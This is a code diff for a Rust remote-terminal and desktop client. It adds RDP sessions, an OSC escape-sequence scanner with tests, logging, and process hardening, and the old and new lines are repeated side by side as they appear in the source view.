let _ = c.pointer(self.last_pos.0, self.last_pos.1, 0); c.pointer(self.last_pos.0, self.last_pos.1, 0);
} }
self.buttons = 0; self.buttons = 0;
} }
/// Makes `text` the remote desktop's clipboard contents.
fn paste(&self, s: &mut Shared, text: &str) { fn paste(&self, s: &mut Shared, text: &str) {
if let Some(c) = &self.client match &self.client {
&& let Err(e) = c.send_clipboard(text) Some(Remote::Vnc(c)) => {
{ if let Err(e) = c.send_clipboard(text) {
s.error(format!("Clipboard: {e}")); s.error(format!("Clipboard: {e}"));
}
}
Some(Remote::Rdp(c)) => c.set_clipboard(text.to_string()),
None => {}
}
}
/// RDP with dynamic resolution: report the tab's pixel size once it has settled.
fn report_size(&mut self, ui: &Ui, s: &Shared, area: Rect) {
if self.protocol != Protocol::Rdp || !self.dynamic_resolution {
return;
}
let ppp = ui.ctx().pixels_per_point();
let size = [(area.width() * ppp) as u32 & !1, (area.height() * ppp) as u32];
let now = ui.input(|i| i.time);
if size != self.reported.1 {
self.reported.1 = size;
self.reported.2 = now;
}
// ponytail: 0.4 s debounce; each resize is a server-side desktop reconfiguration.
if size != self.reported.0 && now - self.reported.2 > 0.4 && size[0] >= 200 && size[1] >= 200 {
self.reported.0 = size;
let _ = s.svc.sessions.resize(&self.session, size[0].min(8192) as u16, size[1].min(8192) as u16);
} else if size != self.reported.0 {
ui.ctx().request_repaint_after(std::time::Duration::from_millis(450));
} }
} }
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) { pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
if self.ready && self.client.is_none() { if self.ready && self.client.is_none() {
self.client = s.svc.sessions.vnc(&self.session).ok(); self.client = match self.protocol {
if let Some(c) = &self.client { Protocol::Rdp => s.svc.sessions.rdp(&self.session).ok().map(Remote::Rdp),
_ => s.svc.sessions.vnc(&self.session).ok().map(Remote::Vnc),
};
if let Some(Remote::Vnc(c)) = &self.client {
self.name = c.desktop_name(); self.name = c.desktop_name();
} }
} }
@@ -186,6 +333,7 @@ impl VncView {
let t = Tokens::get(ui.ctx()); let t = Tokens::get(ui.ctx());
let area = ui.available_rect_before_wrap(); let area = ui.available_rect_before_wrap();
self.report_size(ui, s, area);
ui.painter().rect_filled(area, 0.0, t.canvas); ui.painter().rect_filled(area, 0.0, t.canvas);
let Some(tex) = self.texture.clone().filter(|_| self.ready) else { let Some(tex) = self.texture.clone().filter(|_| self.ready) else {
ui.allocate_rect(area, Sense::hover()); ui.allocate_rect(area, Sense::hover());
@@ -206,7 +354,7 @@ impl VncView {
self.draw(ui, s, &tex, img); self.draw(ui, s, &tex, img);
} else { } else {
let mut c = ui.new_child(egui::UiBuilder::new().max_rect(area)); let mut c = ui.new_child(egui::UiBuilder::new().max_rect(area));
egui::ScrollArea::both().id_salt(("vnc", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| { egui::ScrollArea::both().id_salt(("desktop", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| {
let (img, _) = ui.allocate_exact_size(size, Sense::hover()); let (img, _) = ui.allocate_exact_size(size, Sense::hover());
self.draw(ui, s, &tex, img); self.draw(ui, s, &tex, img);
}); });
@@ -218,7 +366,7 @@ impl VncView {
fn upload(&mut self, ui: &Ui) { fn upload(&mut self, ui: &Ui) {
let Some(c) = &self.client else { return }; let Some(c) = &self.client else { return };
let fb = c.framebuffer(); let fb = c.framebuffer();
let mut fb = fb.lock().unwrap_or_else(|e| e.into_inner()); let mut fb = fb.lock();
if !fb.dirty || fb.width == 0 || fb.height == 0 { if !fb.dirty || fb.width == 0 || fb.height == 0 {
return; return;
} }
@@ -230,7 +378,7 @@ impl VncView {
self.fb_size = size; self.fb_size = size;
match &mut self.texture { match &mut self.texture {
Some(t) => t.set(img, egui::TextureOptions::LINEAR), Some(t) => t.set(img, egui::TextureOptions::LINEAR),
None => self.texture = Some(ui.ctx().load_texture(format!("vnc-{}", self.session), img, egui::TextureOptions::LINEAR)), None => self.texture = Some(ui.ctx().load_texture(format!("desktop-{}", self.session), img, egui::TextureOptions::LINEAR)),
} }
} }
@@ -262,8 +410,8 @@ impl VncView {
if widgets::icon_button(ui, g, tip).clicked() { if widgets::icon_button(ui, g, tip).clicked() {
self.scale_to_fit = !self.scale_to_fit; self.scale_to_fit = !self.scale_to_fit;
} }
if widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked() if let Some(Remote::Vnc(c)) = &self.client
&& let Some(c) = &self.client && widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked()
{ {
let _ = c.request_full_update(); let _ = c.request_full_update();
} }
@@ -292,12 +440,21 @@ impl VncView {
fn draw(&mut self, ui: &mut Ui, s: &mut Shared, tex: &TextureHandle, img: Rect) { fn draw(&mut self, ui: &mut Ui, s: &mut Shared, tex: &TextureHandle, img: Rect) {
ui.painter().image(tex.id(), img, Rect::from_min_max(Pos2::ZERO, Pos2::new(1.0, 1.0)), egui::Color32::WHITE); ui.painter().image(tex.id(), img, Rect::from_min_max(Pos2::ZERO, Pos2::new(1.0, 1.0)), egui::Color32::WHITE);
let id = egui::Id::new(("vnc-input", &self.session)); let id = egui::Id::new(("desktop-input", &self.session));
let resp = ui.interact(img, id, Sense::click_and_drag()); let resp = ui.interact(img, id, Sense::click_and_drag());
if resp.clicked() || resp.drag_started() || resp.secondary_clicked() || resp.middle_clicked() { if resp.clicked() || resp.drag_started() || resp.secondary_clicked() || resp.middle_clicked() {
resp.request_focus(); resp.request_focus();
} }
let focused = resp.has_focus(); let focused = resp.has_focus();
// RDP shares the clipboard both ways: offer the local text whenever the desktop gains focus.
if focused
&& !self.had_focus
&& let Some(Remote::Rdp(c)) = &self.client
&& let Ok(text) = arboard::Clipboard::new().and_then(|mut c| c.get_text())
&& !text.is_empty()
{
c.set_clipboard(text);
}
if focused { if focused {
ui.painter().rect_stroke(img, 0.0, egui::Stroke::new(1.0, Tokens::get(ui.ctx()).accent.gamma_multiply(0.6)), egui::StrokeKind::Outside); ui.painter().rect_stroke(img, 0.0, egui::Stroke::new(1.0, Tokens::get(ui.ctx()).accent.gamma_multiply(0.6)), egui::StrokeKind::Outside);
ui.memory_mut(|m| m.set_focus_lock_filter(id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true })); ui.memory_mut(|m| m.set_focus_lock_filter(id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true }));
@@ -328,7 +485,7 @@ impl VncView {
let buttons = if resp.hovered() || resp.dragged() || self.buttons != 0 { button_mask(left, middle, right) } else { 0 }; let buttons = if resp.hovered() || resp.dragged() || self.buttons != 0 { button_mask(left, middle, right) } else { 0 };
let at = to_remote(pos, img, self.fb_size); let at = to_remote(pos, img, self.fb_size);
if at != self.last_pos || buttons != self.buttons { if at != self.last_pos || buttons != self.buttons {
let _ = c.pointer(at.0, at.1, buttons); c.pointer(at.0, at.1, buttons);
self.last_pos = at; self.last_pos = at;
self.buttons = buttons; self.buttons = buttons;
} }
@@ -336,8 +493,8 @@ impl VncView {
self.wheel += scroll; self.wheel += scroll;
while self.wheel.abs() >= 1.0 { while self.wheel.abs() >= 1.0 {
let bit = if self.wheel > 0.0 { 1 << 3 } else { 1 << 4 }; let bit = if self.wheel > 0.0 { 1 << 3 } else { 1 << 4 };
let _ = c.pointer(at.0, at.1, buttons | bit); c.pointer(at.0, at.1, buttons | bit);
let _ = c.pointer(at.0, at.1, buttons); c.pointer(at.0, at.1, buttons);
self.wheel -= self.wheel.signum(); self.wheel -= self.wheel.signum();
} }
} }
@@ -394,6 +551,20 @@ mod tests {
assert_eq!(modifier_syms(Modifiers::CTRL | Modifiers::SHIFT), vec![XK_SHIFT, XK_CONTROL]); assert_eq!(modifier_syms(Modifiers::CTRL | Modifiers::SHIFT), vec![XK_SHIFT, XK_CONTROL]);
} }
#[test]
fn keysyms_map_to_rdp_input() {
let sc = |ext, code| format!("{:?}", Some(Operation::KeyPressed(Scancode::from_u8(ext, code))));
let k = |sym, down, chord| format!("{:?}", rdp_key(sym, down, chord));
assert_eq!(k(0xff0d, true, false), sc(false, 0x1c), "Enter");
assert_eq!(k(0xff51, true, false), sc(true, 0x4b), "Left is extended");
assert_eq!(k(0xffc9, true, false), sc(false, 0x58), "F12");
assert_eq!(k(XK_DELETE, true, false), sc(true, 0x53));
assert_eq!(k(u32::from(b'c'), true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('c'))), "typed text is Unicode");
assert_eq!(k(u32::from(b'c'), true, true), sc(false, 0x2e), "Ctrl+C sends the C scancode");
assert_eq!(k(u32::from(b'1'), false, true), format!("{:?}", Some(Operation::KeyReleased(Scancode::from_u8(false, 0x02)))));
assert_eq!(k(0x0100_20ac, true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('€'))));
}
#[test] #[test]
fn pointer_mapping() { fn pointer_mapping() {
assert_eq!(button_mask(true, false, true), 0b101); assert_eq!(button_mask(true, false, true), 0b101);
+6 -5
View File
@@ -7,7 +7,8 @@ use crate::widgets;
use egui::{Align, Key, Layout, RichText}; use egui::{Align, Key, Layout, RichText};
use egui_phosphor::regular as icon; use egui_phosphor::regular as icon;
use nexus_core::models::{ForwardDirection, PortForward, new_id}; use nexus_core::models::{ForwardDirection, PortForward, new_id};
use std::sync::{Arc, Mutex}; use parking_lot::Mutex;
use std::sync::Arc;
struct Form { struct Form {
remote: bool, remote: bool,
@@ -49,7 +50,7 @@ impl Forwards {
} }
pub fn ui(&mut self, ctx: &egui::Context, s: &mut Shared) { pub fn ui(&mut self, ctx: &egui::Context, s: &mut Shared) {
for started in std::mem::take(&mut *self.done.lock().unwrap()) { for started in std::mem::take(&mut *self.done.lock()) {
if started { if started {
s.success("Forward started"); s.success("Forward started");
self.form.bind_port.clear(); self.form.bind_port.clear();
@@ -72,7 +73,7 @@ impl Forwards {
} }
}; };
let t = Tokens::get(ctx); let t = Tokens::get(ctx);
let mut keep = !ctx.input(|i| i.key_pressed(Key::Escape)); let mut keep = !crate::chrome::modal_key(ctx, Key::Escape);
let mut stop = None; let mut stop = None;
let mut start = false; let mut start = false;
let f = &mut self.form; let f = &mut self.form;
@@ -131,7 +132,7 @@ impl Forwards {
if let Some(id) = stop { if let Some(id) = stop {
let (svc, sid, done) = (s.svc.clone(), sid.clone(), self.done.clone()); let (svc, sid, done) = (s.svc.clone(), sid.clone(), self.done.clone());
s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().unwrap().push(false)); s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().push(false));
} }
if start { if start {
let f = &self.form; let f = &self.form;
@@ -153,7 +154,7 @@ impl Forwards {
let (svc, done) = (s.svc.clone(), self.done.clone()); let (svc, done) = (s.svc.clone(), self.done.clone());
s.spawn( s.spawn(
move || svc.sessions.start_forward(&sid, rule).map_err(|e| format!("Failed to start forward: {e}").into()), move || svc.sessions.start_forward(&sid, rule).map_err(|e| format!("Failed to start forward: {e}").into()),
move |_| done.lock().unwrap().push(true), move |_| done.lock().push(true),
); );
} }
_ => s.error("Bind port and destination port are required"), _ => s.error("Bind port and destination port are required"),
+10 -5
View File
@@ -8,7 +8,8 @@ use chrono::{DateTime, Utc};
use egui::{Color32, RichText, Sense, Ui, vec2}; use egui::{Color32, RichText, Sense, Ui, vec2};
use egui_phosphor::regular as icon; use egui_phosphor::regular as icon;
use nexus_core::models::GitHubRepo; use nexus_core::models::GitHubRepo;
use std::sync::{Arc, Mutex}; use parking_lot::Mutex;
use std::sync::Arc;
enum Msg { enum Msg {
Repos(Vec<GitHubRepo>), Repos(Vec<GitHubRepo>),
@@ -175,7 +176,7 @@ impl GithubView {
Ok(r) => Msg::Repos(r), Ok(r) => Msg::Repos(r),
Err(e) => Msg::RefreshFailed(e.to_string()), Err(e) => Msg::RefreshFailed(e.to_string()),
}; };
inbox.lock().unwrap().push(msg); inbox.lock().push(msg);
ctx.request_repaint(); ctx.request_repaint();
}); });
} }
@@ -193,13 +194,13 @@ impl GithubView {
Ok(()) => Msg::Downloaded(full, path.display().to_string()), Ok(()) => Msg::Downloaded(full, path.display().to_string()),
Err(e) => Msg::DownloadFailed(e.to_string()), Err(e) => Msg::DownloadFailed(e.to_string()),
}; };
inbox.lock().unwrap().push(msg); inbox.lock().push(msg);
ctx.request_repaint(); ctx.request_repaint();
}); });
} }
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) { pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
let msgs = std::mem::take(&mut *self.inbox.lock().unwrap()); let msgs = std::mem::take(&mut *self.inbox.lock());
for m in msgs { for m in msgs {
match m { match m {
Msg::Repos(r) => { Msg::Repos(r) => {
@@ -268,7 +269,11 @@ impl GithubView {
}); });
match action { match action {
Some(Action::Zip(r)) => self.download(s, &r), Some(Action::Zip(r)) => self.download(s, &r),
Some(Action::Visit(url)) if !url.is_empty() => ui.ctx().open_url(egui::OpenUrl::new_tab(url)), Some(Action::Visit(url)) if !url.is_empty() => {
if !widgets::open_web_url(ui.ctx(), &url) {
s.error("The repository link is not a web address");
}
}
Some(Action::Copy(url)) => { Some(Action::Copy(url)) => {
ui.ctx().copy_text(url); ui.ctx().copy_text(url);
s.info("URL copied"); s.info("URL copied");
+12
View File
@@ -16,6 +16,9 @@ use std::sync::Arc;
const SERVER: &str = "server"; const SERVER: &str = "server";
const MAX_LINES: usize = 2000; const MAX_LINES: usize = 2000;
/// Open conversations; past this the oldest idle query is dropped, so a flood of messages from
/// unique nicks can't grow the view without bound.
const MAX_TARGETS: usize = 200;
const SIDEBAR_W: f32 = 230.0; const SIDEBAR_W: f32 = 230.0;
struct Line { struct Line {
@@ -172,6 +175,15 @@ impl IrcView {
let i = match self.targets.iter().position(|t| t.name == name) { let i = match self.targets.iter().position(|t| t.name == name) {
Some(i) => i, Some(i) => i,
None => { None => {
if self.targets.len() >= MAX_TARGETS {
// ponytail: evicts the oldest-opened idle target, not least-recently-used.
let (active, joined) = (&self.active, &self.joined);
if let Some(i) = self.targets.iter().position(|t| t.name != SERVER && t.name != *active && !joined.iter().any(|r| r.name == t.name)) {
let gone = self.targets.remove(i);
self.unread.remove(&gone.name);
self.users.remove(&gone.name);
}
}
self.targets.push(Target { name: name.into(), lines: VecDeque::new() }); self.targets.push(Target { name: name.into(), lines: VecDeque::new() });
self.targets.len() - 1 self.targets.len() - 1
} }
+65 -4
View File
@@ -4,13 +4,16 @@
mod app; mod app;
mod chrome; mod chrome;
mod desktop_view;
mod forwards; mod forwards;
mod github_view; mod github_view;
mod irc_view; mod irc_view;
mod osc;
mod profile_editor; mod profile_editor;
mod quick_connect; mod quick_connect;
mod raw_view; mod raw_view;
mod recordings; mod recordings;
mod restore;
mod settings; mod settings;
mod sftp; mod sftp;
mod sidebar; mod sidebar;
@@ -25,7 +28,6 @@ mod theme;
mod transfer; mod transfer;
mod triggers; mod triggers;
mod views; mod views;
mod vnc_view;
mod widgets; mod widgets;
use nexus_core::config::AppConfig; use nexus_core::config::AppConfig;
@@ -33,6 +35,17 @@ use nexus_core::service::Service;
use std::sync::Arc; use std::sync::Arc;
fn main() -> eframe::Result { fn main() -> eframe::Result {
harden_process();
// A panic on a worker thread (a session's reader, a transfer) ends only that thread; say so in
// the UI rather than letting the session just stop.
let default_hook = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
default_hook(info);
let what =
info.payload().downcast_ref::<&str>().copied().or_else(|| info.payload().downcast_ref::<String>().map(String::as_str)).unwrap_or("unknown error");
let thread = std::thread::current().name().unwrap_or("worker").to_string();
app::post_error_nonblocking(format!("Internal error in {thread} thread: {what}. Other sessions are unaffected; reconnect the affected one."));
}));
let mut opts = app::Options { let mut opts = app::Options {
screenshot: None, screenshot: None,
theme: None, theme: None,
@@ -73,17 +86,26 @@ fn main() -> eframe::Result {
} }
_ => { _ => {
println!( println!(
"usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]" "usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... (or NEXUS_ANSWERS=one-per-line) [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]"
); );
return Ok(()); return Ok(());
} }
} }
} }
// Automation answers: prefer NEXUS_ANSWERS (one per line), which stays out of the process list
// and shell history; it's removed so local shells don't inherit it.
if let Ok(v) = std::env::var("NEXUS_ANSWERS") {
opts.answers.extend(v.lines().map(String::from));
// SAFETY: still single-threaded here; no other thread can be reading the environment.
unsafe { std::env::remove_var("NEXUS_ANSWERS") };
}
if !opts.answers.is_empty() && opts.screenshot.is_none() {
eprintln!("warning: --answer/NEXUS_ANSWERS auto-fill credential prompts; they are meant for screenshot automation only");
}
let config = match data_dir { let config = match data_dir {
Some(d) => { Some(d) => {
let c = AppConfig::in_dir(d.into()); let c = AppConfig::in_dir(d.into());
std::fs::create_dir_all(&c.vault_dir).ok(); nexus_core::config::create_private_dir(&c.data_dir).and_then(|_| nexus_core::config::create_private_dir(&c.vault_dir)).map(|_| c)
Ok(c)
} }
None => AppConfig::load(), None => AppConfig::load(),
}; };
@@ -95,6 +117,8 @@ fn main() -> eframe::Result {
std::process::exit(1); std::process::exit(1);
} }
}; };
init_logging(&svc.config.data_dir);
tracing::info!(version = nexus_core::service::VERSION, "starting");
let headless = opts.screenshot.is_some(); let headless = opts.screenshot.is_some();
let native = eframe::NativeOptions { let native = eframe::NativeOptions {
persist_window: !headless, persist_window: !headless,
@@ -120,3 +144,40 @@ fn window_icon() -> egui::IconData {
let img = image::load_from_memory(chrome::LOGO_PNG).map(|i| i.to_rgba8()).unwrap_or_default(); let img = image::load_from_memory(chrome::LOGO_PNG).map(|i| i.to_rgba8()).unwrap_or_default();
egui::IconData { width: img.width(), height: img.height(), rgba: img.into_raw() } egui::IconData { width: img.width(), height: img.height(), rgba: img.into_raw() }
} }
/// Diagnostics go to `nexus.log` in the data directory (rotated at 5 MiB), and to stderr too when
/// RUST_LOG is set. RUST_LOG also sets the level (default: info for Nexus, warn for libraries).
/// Connection lifecycle, host-key checks and errors are logged; credentials and terminal data never.
fn init_logging(data_dir: &std::path::Path) {
use tracing_subscriber::prelude::*;
let path = data_dir.join("nexus.log");
if std::fs::metadata(&path).is_ok_and(|m| m.len() > 5 << 20) {
let _ = std::fs::rename(&path, data_dir.join("nexus.log.1"));
}
let mut opts = std::fs::OpenOptions::new();
opts.create(true).append(true);
#[cfg(unix)]
std::os::unix::fs::OpenOptionsExt::mode(&mut opts, 0o600);
let file = opts.open(&path).ok().map(|f| tracing_subscriber::fmt::layer().with_ansi(false).with_writer(std::sync::Mutex::new(f)));
let stderr = std::env::var_os("RUST_LOG").map(|_| tracing_subscriber::fmt::layer().with_writer(std::io::stderr));
let filter = tracing_subscriber::EnvFilter::try_from_default_env()
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("warn,nexus_terminal=info,nexus_core=info"));
let _ = tracing_subscriber::registry().with(filter).with(file).with(stderr).try_init();
}
/// Release builds keep secrets out of core dumps and away from same-user debuggers: no core
/// files, and on Linux the process is non-dumpable (also blocks ptrace attach by other processes
/// of the same user). Debug builds skip this so they can still be debugged.
fn harden_process() {
if cfg!(debug_assertions) {
return;
}
#[cfg(unix)]
// SAFETY: plain syscalls on this process with valid arguments; failure is harmless.
unsafe {
let none = libc::rlimit { rlim_cur: 0, rlim_max: 0 };
libc::setrlimit(libc::RLIMIT_CORE, &none);
#[cfg(target_os = "linux")]
libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0);
}
}
+182
View File
@@ -0,0 +1,182 @@
//! Finds the OSC sequences the VT parser ignores but Nexus uses: OSC 133 (shell integration
//! marks: prompt, command, output, finished with exit status) and OSC 7 (the shell's working
//! directory). Sequences may be split across reads, so the scanner keeps state between chunks.
#[derive(Debug, PartialEq)]
pub enum Osc {
/// 133;A — a prompt starts.
Prompt,
/// 133;C — the command's output starts.
Output,
/// 133;D[;status] — the command finished.
Finished(Option<i32>),
/// 7;file://host/path
Cwd { host: String, path: String },
/// 1337;File=…;inline=1:<base64> (iTerm2 inline image): the decoded file bytes and the
/// requested width/height arguments (cells, `Npx`, `N%` or `auto`).
Image { data: Vec<u8>, width: String, height: String },
}
/// Longest OSC body collected; longer ones (not ours) are dropped.
const MAX_OSC: usize = 4096;
/// Inline images are bigger: up to 16 MiB of base64.
const MAX_IMAGE_OSC: usize = 16 << 20;
const IMAGE_PREFIX: &[u8] = b"1337;File=";
fn limit(body: &[u8]) -> usize {
if body.len() >= IMAGE_PREFIX.len() && body.starts_with(IMAGE_PREFIX) { MAX_IMAGE_OSC } else { MAX_OSC }
}
#[derive(Default)]
enum State {
#[default]
Idle,
Esc,
Body(Vec<u8>),
BodyEsc(Vec<u8>),
}
#[derive(Default)]
pub struct OscScanner {
state: State,
}
impl OscScanner {
/// The sequences that complete in `bytes`, each with the offset just past its terminator.
pub fn scan(&mut self, bytes: &[u8]) -> Vec<(usize, Osc)> {
let mut out = Vec::new();
let mut i = 0;
while i < bytes.len() {
let state = std::mem::take(&mut self.state);
self.state = match state {
State::Idle => match bytes[i..].iter().position(|&b| b == 0x1b) {
Some(p) => {
i += p;
State::Esc
}
None => {
i = bytes.len();
State::Idle
}
},
State::Esc if bytes[i] == b']' => State::Body(Vec::new()),
State::Esc => State::Idle,
State::Body(mut b) => match bytes[i] {
0x07 => {
if let Some(osc) = parse(&b) {
out.push((i + 1, osc));
}
State::Idle
}
0x1b => State::BodyEsc(b),
c if b.len() < limit(&b) => {
b.push(c);
State::Body(b)
}
_ => State::Idle,
},
State::BodyEsc(b) if bytes[i] == b'\\' => {
if let Some(osc) = parse(&b) {
out.push((i + 1, osc));
}
State::Idle
}
// An ESC that doesn't end the OSC starts a new sequence.
State::BodyEsc(_) => {
// Re-examine this byte as the one after an ESC.
self.state = State::Esc;
continue;
}
};
i += 1;
}
out
}
}
fn parse(body: &[u8]) -> Option<Osc> {
let s = std::str::from_utf8(body).ok()?;
if let Some(rest) = s.strip_prefix("133;") {
let mut parts = rest.split(';');
return match parts.next()? {
"A" => Some(Osc::Prompt),
"C" => Some(Osc::Output),
"D" => Some(Osc::Finished(parts.next().and_then(|c| c.parse().ok()))),
_ => None,
};
}
if let Some(rest) = s.strip_prefix("1337;File=") {
let (args, data) = rest.split_once(':')?;
let arg = |k: &str| args.split(';').find_map(|a| a.strip_prefix(k)?.strip_prefix('=')).map(str::to_string);
if arg("inline").as_deref() != Some("1") {
return None;
}
use base64::Engine;
let data = base64::engine::general_purpose::STANDARD.decode(data.trim()).ok()?;
return Some(Osc::Image { data, width: arg("width").unwrap_or_default(), height: arg("height").unwrap_or_default() });
}
let url = s.strip_prefix("7;")?.strip_prefix("file://")?;
let (host, path) = url.split_at(url.find('/')?);
Some(Osc::Cwd { host: host.into(), path: percent_decode(path) })
}
fn percent_decode(s: &str) -> String {
let b = s.as_bytes();
let mut out = Vec::with_capacity(b.len());
let mut i = 0;
while i < b.len() {
match (b[i], b.get(i + 1..i + 3).and_then(|h| u8::from_str_radix(std::str::from_utf8(h).ok()?, 16).ok())) {
(b'%', Some(v)) => {
out.push(v);
i += 3;
}
(c, _) => {
out.push(c);
i += 1;
}
}
}
String::from_utf8_lossy(&out).into_owned()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn finds_marks_and_cwd_even_when_split() {
let stream = b"hi\x1b]133;A\x07$ ls\x1b]133;C\x1b\\file\x1b]133;D;2\x07\x1b]7;file://box/home/me/My%20Dir\x07\x1b]0;title\x07\x1b[31mred";
let whole = OscScanner::default().scan(stream);
let want = [Osc::Prompt, Osc::Output, Osc::Finished(Some(2)), Osc::Cwd { host: "box".into(), path: "/home/me/My Dir".into() }];
assert_eq!(whole.iter().map(|(_, o)| o).collect::<Vec<_>>(), want.iter().collect::<Vec<_>>());
assert_eq!(whole[0].0, 10, "offset is just past the terminator");
// Byte by byte gives the same sequences at the same absolute offsets.
let mut s = OscScanner::default();
let mut split = vec![];
for (i, b) in stream.iter().enumerate() {
split.extend(s.scan(std::slice::from_ref(b)).into_iter().map(|(end, o)| (i + end, o)));
}
assert_eq!(split, whole);
// Unterminated and oversized bodies don't leak into later output.
let mut s = OscScanner::default();
let mut long = b"\x1b]133;A".to_vec();
long.extend(std::iter::repeat_n(b'x', MAX_OSC + 10));
long.extend(b"\x07\x1b]133;D\x07");
assert_eq!(s.scan(&long).into_iter().map(|(_, o)| o).collect::<Vec<_>>(), vec![Osc::Finished(None)]);
}
#[test]
fn inline_images_need_inline_1_and_valid_base64() {
let img = |args: &str, data: &str| {
let seq = format!("\x1b]1337;File={args}:{data}\x07");
OscScanner::default().scan(seq.as_bytes()).into_iter().map(|(_, o)| o).collect::<Vec<_>>()
};
assert_eq!(img("name=eA==;width=10;inline=1", "aGk="), vec![Osc::Image { data: b"hi".to_vec(), width: "10".into(), height: String::new() }]);
assert!(img("inline=0", "aGk=").is_empty(), "downloads (inline=0) are ignored");
assert!(img("inline=1", "!!!").is_empty());
// A large image body is collected, past the 4 KiB cap for other OSCs.
use base64::Engine;
let big = base64::engine::general_purpose::STANDARD.encode(vec![7u8; 100_000]);
assert!(matches!(&img("inline=1", &big)[..], [Osc::Image { data, .. }] if data.len() == 100_000));
}
}
+146 -23
View File
@@ -10,10 +10,12 @@ use egui_phosphor::regular as icon;
use nexus_core::clients::serial; use nexus_core::clients::serial;
use nexus_core::keyfiles; use nexus_core::keyfiles;
use nexus_core::models::*; use nexus_core::models::*;
use nexus_core::secrets::SecretKind;
use nexus_core::validation::{ValidationError, validate_profile}; use nexus_core::validation::{ValidationError, validate_profile};
use parking_lot::Mutex;
use std::collections::{BTreeMap, HashMap}; use std::collections::{BTreeMap, HashMap};
use std::path::Path; use std::path::Path;
use std::sync::{Arc, Mutex}; use std::sync::Arc;
type KeyChecks = HashMap<String, Result<&'static str, &'static str>>; type KeyChecks = HashMap<String, Result<&'static str, &'static str>>;
@@ -27,7 +29,7 @@ pub struct ProfileEditor {
rooms: String, rooms: String,
/// Secrets typed into the editor, by session-manager kind ("password", "github-token", …); /// Secrets typed into the editor, by session-manager kind ("password", "github-token", …);
/// stored when the profile is saved. /// stored when the profile is saved.
secrets: BTreeMap<&'static str, String>, secrets: BTreeMap<SecretKind, String>,
totp: String, totp: String,
totp_show: bool, totp_show: bool,
totp_saved: bool, totp_saved: bool,
@@ -154,6 +156,9 @@ impl ProfileEditor {
if proto != Protocol::Vnc { if proto != Protocol::Vnc {
p.vnc = None; p.vnc = None;
} }
if proto != Protocol::Rdp {
p.rdp = None;
}
if proto != Protocol::Irc { if proto != Protocol::Irc {
p.irc = None; p.irc = None;
} }
@@ -184,7 +189,7 @@ impl ProfileEditor {
/// Drawn inside the right dock while open. /// Drawn inside the right dock while open.
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) { pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
let t = Tokens::get(ui.ctx()); let t = Tokens::get(ui.ctx());
if let Some(r) = self.test.lock().unwrap().take() { if let Some(r) = self.test.lock().take() {
self.testing = false; self.testing = false;
match r { match r {
Ok(ms) => s.success(format!("Reachable — {ms} ms")), Ok(ms) => s.success(format!("Reachable — {ms} ms")),
@@ -221,6 +226,7 @@ impl ProfileEditor {
Protocol::Raw => self.raw(ui, &errs), Protocol::Raw => self.raw(ui, &errs),
Protocol::Github => self.github(ui, &errs), Protocol::Github => self.github(ui, &errs),
Protocol::Vnc => self.vnc(ui, &errs), Protocol::Vnc => self.vnc(ui, &errs),
Protocol::Rdp => self.rdp(ui, &errs),
Protocol::Irc => self.irc(ui, &errs), Protocol::Irc => self.irc(ui, &errs),
Protocol::Serial => self.serial(ui, &errs), Protocol::Serial => self.serial(ui, &errs),
Protocol::Local => {} Protocol::Local => {}
@@ -309,9 +315,9 @@ impl ProfileEditor {
Ok(saved) => { Ok(saved) => {
for (kind, v) in &self.secrets { for (kind, v) in &self.secrets {
if !v.is_empty() if !v.is_empty()
&& let Err(e) = s.svc.set_profile_secret(&saved.id, kind, v) && let Err(e) = s.svc.set_profile_secret(&saved.id, *kind, v)
{ {
s.error(format!("Couldn't store the {kind} secret: {e}")); s.error(format!("Couldn't store the {} secret: {e}", kind.as_str()));
} }
} }
s.success(if self.is_new { "Profile created" } else { "Profile updated" }); s.success(if self.is_new { "Profile created" } else { "Profile updated" });
@@ -336,7 +342,7 @@ impl ProfileEditor {
let (slot, svc, ctx) = (self.test.clone(), s.svc.clone(), s.ctx.clone()); let (slot, svc, ctx) = (self.test.clone(), s.svc.clone(), s.ctx.clone());
std::thread::spawn(move || { std::thread::spawn(move || {
let r = svc.test_connection(&host, port).map_err(|e| e.to_string()); let r = svc.test_connection(&host, port).map_err(|e| e.to_string());
*slot.lock().unwrap() = Some(r); *slot.lock() = Some(r);
ctx.request_repaint(); ctx.request_repaint();
}); });
} }
@@ -386,7 +392,7 @@ impl ProfileEditor {
section(ui, "Authentication", |ui| { section(ui, "Authentication", |ui| {
mode(ui, "Password Mode", &mut c.secret_mode); mode(ui, "Password Mode", &mut c.secret_mode);
if c.secret_mode == SecretMode::Saved { if c.secret_mode == SecretMode::Saved {
secret(ui, "Password", secrets, "password", "Leave blank to keep the saved password"); secret(ui, "Password", secrets, SecretKind::Password, "Leave blank to keep the saved password");
} }
label(ui, "Auth Methods"); label(ui, "Auth Methods");
ui.horizontal_wrapped(|ui| { ui.horizontal_wrapped(|ui| {
